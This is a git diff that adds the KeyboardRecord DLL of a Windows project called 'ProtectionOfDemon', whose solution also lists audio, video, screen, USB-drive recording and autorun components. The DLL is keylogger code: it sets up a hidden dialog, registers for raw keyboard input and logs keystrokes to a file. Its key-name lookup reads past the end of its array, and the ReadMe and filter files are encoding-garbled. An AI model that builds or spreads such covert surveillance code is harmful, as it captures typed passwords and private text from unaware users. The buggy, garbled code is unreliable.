+BOOL CALLBACK MessageOnlyWinProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
+{
+ switch (uMsg)
+ {
+ case WM_INITDIALOG:
+ {
+ g_hWnd = hWnd;
+ InitRawInput(hWnd);
+ break;
+ }
+ case WM_INPUT:
+ {
+ InputRecord(lParam, g_bKeyboardRecord);
+ break;
+ }
+ case WM_CLOSE:
+ {
+ ::DestroyWindow(hWnd);
+ break;
+ }
+ default:
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+BOOL InitKeyboardRecord()
+{
+ // 初始化临界区
+ ::InitializeCriticalSection(&g_stCriticalSection);
+ g_hWnd = ::CreateDialogParam(g_hModule, MAKEINTRESOURCE(IDD_DIALOG1), NULL, MessageOnlyWinProc, NULL);
+
+ return TRUE;
+}
+
+
+BOOL ExitKeyboardRecord()
+{
+ // 删除注册的Raw Input Device
+ RAWINPUTDEVICE rid;
+ rid.usUsagePage = 0x01;
+ rid.usUsage = 0x06;
+ rid.dwFlags = RIDEV_REMOVE; // If set, this removes the top level collection from the inclusion list. This tells the operating system to stop reading from a device which matches the top level collection.
+ rid.hwndTarget = NULL; // 注意这里要置为NULL
+ if (!::RegisterRawInputDevices(&rid, 1, sizeof(rid)))
+ {
+ ::ShowError("RegisterRawInputDevices");
+ }
+
+ g_bKeyboardRecord = FALSE;
+ ::SendMessage(g_hWnd, WM_CLOSE, NULL, NULL);
+ return TRUE;
+}
+
+
+void SetKeyboardRecord(BOOL bKeyboardRecord)
+{
+ g_bKeyboardRecord = bKeyboardRecord;
+}
+
+
+void SetKeyboardRecordFileName(char *lpszKeyboardRecordFileName)
+{
+ ::lstrcpy(g_szKeyboardRecordFileName, lpszKeyboardRecordFileName);
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.def b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.def
new file mode 100644
index 0000000..d70c3e2
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.def
@@ -0,0 +1,12 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ InitKeyboardRecord
+ ExitKeyboardRecord
+ SetKeyboardRecord
+ SetKeyboardRecordFileName
+
+
+
+
diff --git a/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.rc b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.rc
new file mode 100644
index 0000000..b58db9d
Binary files /dev/null and b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.rc differ
diff --git a/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.vcxproj b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.vcxproj
new file mode 100644
index 0000000..a9611d2
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.vcxproj
@@ -0,0 +1,114 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {F2B020A7-99C2-425C-8FD5-410D9E87B954}
+ Win32Proj
+ KeyboardRecord
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;KEYBOARDRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ KeyboardRecord.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;KEYBOARDRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ KeyboardRecord.def
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.vcxproj.filters b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.vcxproj.filters
new file mode 100644
index 0000000..653fc07
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.vcxproj.filters
@@ -0,0 +1,55 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/KeyboardRecord/ReadMe.txt b/ProtectionOfDemon/KeyboardRecord/ReadMe.txt
new file mode 100644
index 0000000..f1e970a
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛欿eyboardRecord 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 KeyboardRecord DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 KeyboardRecord 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+KeyboardRecord.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+KeyboardRecord.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+KeyboardRecord.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 KeyboardRecord.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/KeyboardRecord/VirtualKeyToAscii.h b/ProtectionOfDemon/KeyboardRecord/VirtualKeyToAscii.h
new file mode 100644
index 0000000..7ec4782
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/VirtualKeyToAscii.h
@@ -0,0 +1,295 @@
+#ifndef _VIRTUAL_KEY_TO_ASCII_
+#define _VIRTUAL_KEY_TO_ASCII_
+
+#include
+
+struct VKeyInfo{
+ USHORT VKey;
+ LPCSTR VKname;
+};
+
+#define AddVKey(VK, VKName) {(VK), (VKName)}
+
+// 辛辛苦苦从MSDN上摘录下来,VK的值从0x01 - 0xFE,如果编译器发现未定义的项目,直接换成对应的值就可以了.
+static VKeyInfo vkis[] = {
+ AddVKey(VK_LBUTTON, "Left mouse button"),
+ AddVKey(VK_RBUTTON, "Right mouse button"),
+ AddVKey(VK_CANCEL, "Control-break processing"),
+ AddVKey(0x04, "Middle mouse button (three-button mouse)"),
+ AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
+ AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
+ AddVKey(0x07, "Undefined"),
+ AddVKey(VK_BACK, "BACKSPACE key"),
+ AddVKey(VK_TAB, "TAB key"),
+ AddVKey(0x0A, "Reserved"),
+ AddVKey(0x0B, "Reserved"),
+ AddVKey(VK_CLEAR, "CLEAR key"),
+ AddVKey(VK_RETURN, "ENTER key"),
+ AddVKey(0x0E, "Undefined"),
+ AddVKey(0x0F, "Undefined"),
+ AddVKey(VK_SHIFT, "SHIFT key"),
+ AddVKey(VK_CONTROL, "CTRL key"),
+ AddVKey(VK_MENU, "ALT key"),
+ AddVKey(VK_PAUSE, "PAUSE key"),
+ AddVKey(VK_CAPITAL, "CAPS LOCK key"),
+ AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
+ AddVKey(VK_HANGUL, "IME Hangul mode"),
+ AddVKey(0x16, "Undefined"),
+ AddVKey(VK_JUNJA, "IME Junja mode"),
+ AddVKey(VK_FINAL, "IME final mode"),
+ AddVKey(VK_HANJA, "IME Hanja mode"),
+ AddVKey(VK_KANJI, "IME Kanji mode"),
+ AddVKey(0x1A, "Undefined"),
+ AddVKey(VK_ESCAPE, "ESC key"),
+ AddVKey(VK_CONVERT, "IME convert"),
+ AddVKey(VK_NONCONVERT, "IME nonconvert"),
+ AddVKey(VK_ACCEPT, "IME accept"),
+ AddVKey(VK_MODECHANGE, "IME mode change request"),
+ AddVKey(VK_SPACE, "SPACEBAR"),
+ AddVKey(VK_PRIOR, "PAGE UP key"),
+ AddVKey(VK_NEXT, "PAGE DOWN key"),
+ AddVKey(VK_END, "END key"),
+ AddVKey(VK_HOME, "HOME key"),
+ AddVKey(VK_LEFT, "LEFT ARROW key"),
+ AddVKey(VK_UP, "UP ARROW key"),
+ AddVKey(VK_RIGHT, "RIGHT ARROW key"),
+ AddVKey(VK_DOWN, "DOWN ARROW key"),
+ AddVKey(VK_SELECT, "SELECT key"),
+ AddVKey(VK_PRINT, "PRINT key"),
+ AddVKey(VK_EXECUTE, "EXECUTE key"),
+ AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
+ AddVKey(VK_INSERT, "INSERT key"),
+ AddVKey(VK_DELETE, "DEL key"),
+ AddVKey(VK_HELP, "HELP key"),
+ AddVKey(0x30, "0"),
+ AddVKey(0x31, "1"),
+ AddVKey(0x32, "2"),
+ AddVKey(0x33, "3"),
+ AddVKey(0x34, "4"),
+ AddVKey(0x35, "5"),
+ AddVKey(0x36, "6"),
+ AddVKey(0x37, "7"),
+ AddVKey(0x38, "8"),
+ AddVKey(0x39, "9"),
+ AddVKey(0x3A, "Undefined"),
+ AddVKey(0x3B, "Undefined"),
+ AddVKey(0x3C, "Undefined"),
+ AddVKey(0x3D, "Undefined"),
+ AddVKey(0x3E, "Undefined"),
+ AddVKey(0x3F, "Undefined"),
+ AddVKey(0x40, "Undefined"),
+ AddVKey(0x41, "A"),
+ AddVKey(0x42, "B"),
+ AddVKey(0x43, "C"),
+ AddVKey(0x44, "D"),
+ AddVKey(0x45, "E"),
+ AddVKey(0x46, "F"),
+ AddVKey(0x47, "G"),
+ AddVKey(0x48, "H"),
+ AddVKey(0x49, "I"),
+ AddVKey(0x4A, "J"),
+ AddVKey(0x4B, "K"),
+ AddVKey(0x4C, "L"),
+ AddVKey(0x4D, "M"),
+ AddVKey(0x4E, "N"),
+ AddVKey(0x4F, "O"),
+ AddVKey(0x50, "P"),
+ AddVKey(0x51, "Q"),
+ AddVKey(0x52, "R"),
+ AddVKey(0x53, "S"),
+ AddVKey(0x54, "T"),
+ AddVKey(0x55, "U"),
+ AddVKey(0x56, "V"),
+ AddVKey(0x57, "W"),
+ AddVKey(0x58, "X"),
+ AddVKey(0x59, "Y"),
+ AddVKey(0x5A, "Z"),
+
+ AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
+ AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
+ AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
+ AddVKey(0x5E, "Reserved"),
+ AddVKey(VK_SLEEP, "Computer Sleep key"),
+ AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
+ AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
+ AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
+ AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
+ AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
+ AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
+ AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
+ AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
+ AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
+ AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
+ AddVKey(VK_MULTIPLY, "Multiply key"),
+ AddVKey(VK_ADD, "Add key"),
+ AddVKey(VK_SEPARATOR, "Separator key"),
+ AddVKey(VK_SUBTRACT, "Subtract key"),
+ AddVKey(VK_DECIMAL, "Decimal key"),
+ AddVKey(VK_DIVIDE, "Divide key"),
+ AddVKey(VK_F1, "F1 key"),
+ AddVKey(VK_F2, "F2 key"),
+ AddVKey(VK_F3, "F3 key"),
+ AddVKey(VK_F4, "F4 key"),
+ AddVKey(VK_F5, "F5 key"),
+ AddVKey(VK_F6, "F6 key"),
+ AddVKey(VK_F7, "F7 key"),
+ AddVKey(VK_F8, "F8 key"),
+ AddVKey(VK_F9, "F9 key"),
+ AddVKey(VK_F10, "F10 key"),
+ AddVKey(VK_F11, "F11 key"),
+ AddVKey(VK_F12, "F12 key"),
+ AddVKey(VK_F13, "F13 key"),
+ AddVKey(VK_F14, "F14 key"),
+ AddVKey(VK_F15, "F15 key"),
+ AddVKey(VK_F16, "F16 key"),
+ AddVKey(VK_F17, "F17 key"),
+ AddVKey(VK_F18, "F18 key"),
+ AddVKey(VK_F19, "F19 key"),
+ AddVKey(VK_F20, "F20 key"),
+ AddVKey(VK_F21, "F21 key"),
+ AddVKey(VK_F22, "F22 key"),
+ AddVKey(VK_F23, "F23 key"),
+ AddVKey(VK_F24, "F24 key"),
+ AddVKey(0x88, "Unassigned"),
+ AddVKey(0x89, "Unassigned"),
+ AddVKey(0x8A, "Unassigned"),
+ AddVKey(0x8B, "Unassigned"),
+ AddVKey(0x8C, "Unassigned"),
+ AddVKey(0x8D, "Unassigned"),
+ AddVKey(0x8E, "Unassigned"),
+ AddVKey(0x8F, "Unassigned"),
+ AddVKey(VK_NUMLOCK, "NUM LOCK key"),
+ AddVKey(VK_SCROLL, "SCROLL LOCK key"),
+ AddVKey(0x92, "OEM specific"),
+ AddVKey(0x93, "OEM specific"),
+ AddVKey(0x94, "OEM specific"),
+ AddVKey(0x95, "OEM specific"),
+ AddVKey(0x96, "OEM specific"),
+ AddVKey(0x97, "Unassigned"),
+ AddVKey(0x98, "Unassigned"),
+ AddVKey(0x99, "Unassigned"),
+ AddVKey(0x9A, "Unassigned"),
+ AddVKey(0x9B, "Unassigned"),
+ AddVKey(0x9C, "Unassigned"),
+ AddVKey(0x9D, "Unassigned"),
+ AddVKey(0x9E, "Unassigned"),
+ AddVKey(0x9F, "Unassigned"),
+ AddVKey(VK_LSHIFT, "Left SHIFT key"),
+ AddVKey(VK_RSHIFT, "Right SHIFT key"),
+ AddVKey(VK_LCONTROL, "Left CONTROL key"),
+ AddVKey(VK_RCONTROL, "Right CONTROL key"),
+ AddVKey(VK_LMENU, "Left MENU key"),
+ AddVKey(VK_RMENU, "Right MENU key"),
+ AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
+ AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
+ AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
+ AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
+ AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
+ AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
+ AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
+ AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
+ AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
+ AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
+ AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
+ AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
+ AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
+ AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
+ AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
+ AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
+ AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
+ AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
+ AddVKey(0xB8, "Reserved"),
+ AddVKey(0xB9, "Reserved"),
+ AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
+ AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
+ AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
+ AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
+ AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
+ AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
+ AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
+ AddVKey(0xC1, "Reserved"),
+ AddVKey(0xC2, "Reserved"),
+ AddVKey(0xC3, "Reserved"),
+ AddVKey(0xC4, "Reserved"),
+ AddVKey(0xC5, "Reserved"),
+ AddVKey(0xC6, "Reserved"),
+ AddVKey(0xC7, "Reserved"),
+ AddVKey(0xC8, "Reserved"),
+ AddVKey(0xC9, "Reserved"),
+ AddVKey(0xCA, "Reserved"),
+ AddVKey(0xCB, "Reserved"),
+ AddVKey(0xCC, "Reserved"),
+ AddVKey(0xCD, "Reserved"),
+ AddVKey(0xCE, "Reserved"),
+ AddVKey(0xCF, "Reserved"),
+ AddVKey(0xD0, "Reserved"),
+ AddVKey(0xD1, "Reserved"),
+ AddVKey(0xD2, "Reserved"),
+ AddVKey(0xD3, "Reserved"),
+ AddVKey(0xD4, "Reserved"),
+ AddVKey(0xD5, "Reserved"),
+ AddVKey(0xD6, "Reserved"),
+ AddVKey(0xD7, "Reserved"),
+ AddVKey(0xD8, "Unassigned"),
+ AddVKey(0xD9, "Unassigned"),
+ AddVKey(0xDA, "Unassigned"),
+ AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
+ AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
+ AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
+ AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."
+ "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),
+
+ AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
+ AddVKey(0xE0, "Reserved"),
+ AddVKey(0xE1, "OEM specific"),
+ AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
+ AddVKey(0xE3, "OEM specific"),
+ AddVKey(0xE4, "OEM specific"),
+ AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
+ AddVKey(0xE6, "OEM specific"),
+ AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
+ AddVKey(0xE8, "Unassigned"),
+ AddVKey(0xE9, "OEM specific"),
+ AddVKey(0xEA, "OEM specific"),
+ AddVKey(0xEB, "OEM specific"),
+ AddVKey(0xEC, "OEM specific"),
+ AddVKey(0xED, "OEM specific"),
+ AddVKey(0xEF, "OEM specific"),
+ AddVKey(0xF0, "OEM specific"),
+ AddVKey(0xF1, "OEM specific"),
+ AddVKey(0xF2, "OEM specific"),
+ AddVKey(0xF3, "OEM specific"),
+ AddVKey(0xF4, "OEM specific"),
+ AddVKey(0xF5, "OEM specific"),
+ AddVKey(VK_ATTN, "Attn key"),
+ AddVKey(VK_CRSEL, "CrSel key"),
+ AddVKey(VK_EXSEL, "ExSel key"),
+ AddVKey(VK_EREOF, "Erase EOF key"),
+ AddVKey(VK_PLAY, "Play key"),
+ AddVKey(VK_ZOOM, "Zoom key"),
+ AddVKey(VK_NONAME, "Reserved"),
+ AddVKey(VK_PA1, "PA1 key"),
+ AddVKey(VK_OEM_CLEAR, "Clear key"),
+ AddVKey(0xFF, "Unknown Virtual-Key Code")
+};
+
+
+LPCSTR GetKeyName(USHORT VKey)
+{
+ int i = 0;
+ for(i = 0; i < sizeof(vkis); i++)
+ {
+ if(VKey == vkis[i].VKey)
+ return vkis[i].VKname;
+ }
+ return vkis[--i].VKname;
+}
+
+
+#endif
\ No newline at end of file
diff --git a/ProtectionOfDemon/KeyboardRecord/dllmain.cpp b/ProtectionOfDemon/KeyboardRecord/dllmain.cpp
new file mode 100644
index 0000000..0a3730a
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/dllmain.cpp
@@ -0,0 +1,22 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+HMODULE g_hModule = NULL;
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ g_hModule = hModule;
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/KeyboardRecord/resource.h b/ProtectionOfDemon/KeyboardRecord/resource.h
new file mode 100644
index 0000000..349162e
Binary files /dev/null and b/ProtectionOfDemon/KeyboardRecord/resource.h differ
diff --git a/ProtectionOfDemon/KeyboardRecord/stdafx.cpp b/ProtectionOfDemon/KeyboardRecord/stdafx.cpp
new file mode 100644
index 0000000..8e164a4
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// KeyboardRecord.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/KeyboardRecord/stdafx.h b/ProtectionOfDemon/KeyboardRecord/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/KeyboardRecord/targetver.h b/ProtectionOfDemon/KeyboardRecord/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/ProtectionOfDemon.sln b/ProtectionOfDemon/ProtectionOfDemon.sln
new file mode 100644
index 0000000..8be7e87
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon.sln
@@ -0,0 +1,512 @@
+锘
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.40629.0
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProtectionOfDemon", "ProtectionOfDemon\ProtectionOfDemon.vcxproj", "{E4E2240C-4712-4A9A-8CBE-8BE86ECE82CB}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SoundRecord", "SoundRecord\SoundRecord.vcxproj", "{620258D9-7C25-4857-93A3-2102098D56D6}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VideoRecord", "VideoRecord\VideoRecord.vcxproj", "{F00A1706-4972-4B03-B827-A20DF0C363F2}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KeyboardRecord", "KeyboardRecord\KeyboardRecord.vcxproj", "{F2B020A7-99C2-425C-8FD5-410D9E87B954}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ScreenRecord", "ScreenRecord\ScreenRecord.vcxproj", "{FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UDiskRecord", "UDiskRecord\UDiskRecord.vcxproj", "{DC1EC8DC-568D-44AF-9A70-2A05421869B9}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AutoRun", "AutonRun\AutonRun.vcxproj", "{CD128C30-310D-4D89-AEE9-734D6E87C30E}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ScreenCapture", "ScreenCapture\ScreenCapture.vcxproj", "{E75D6B26-D95A-4C22-88F0-F5103724C5E4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShutdownTimer", "ShutdownTimer\ShutdownTimer.vcxproj", "{ABF316EC-B7BA-4DDE-AB38-02D2224077D4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ScreenRecordAvi", "ScreenRecordAvi\ScreenRecordAvi.vcxproj", "{FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Mixed Platforms = Debug|Mixed Platforms
+ Debug|Win32 = Debug|Win32
+ Debug|x64 = Debug|x64
+ Release|Mixed Platforms = Release|Mixed Platforms
+ Release|Win32 = Release|Win32
+ Release|x64 = Release|x64
+ Win7 Debug|Mixed Platforms = Win7 Debug|Mixed Platforms
+ Win7 Debug|Win32 = Win7 Debug|Win32
+ Win7 Debug|x64 = Win7 Debug|x64
+ Win7 Release|Mixed Platforms = Win7 Release|Mixed Platforms
+ Win7 Release|Win32 = Win7 Release|Win32
+ Win7 Release|x64 = Win7 Release|x64
+ Win8 Debug|Mixed Platforms = Win8 Debug|Mixed Platforms
+ Win8 Debug|Win32 = Win8 Debug|Win32
+ Win8 Debug|x64 = Win8 Debug|x64
+ Win8 Release|Mixed Platforms = Win8 Release|Mixed Platforms
+ Win8 Release|Win32 = Win8 Release|Win32
+ Win8 Release|x64 = Win8 Release|x64
+ Win8.1 Debug|Mixed Platforms = Win8.1 Debug|Mixed Platforms
+ Win8.1 Debug|Win32 = Win8.1 Debug|Win32
+ Win8.1 Debug|x64 = Win8.1 Debug|x64
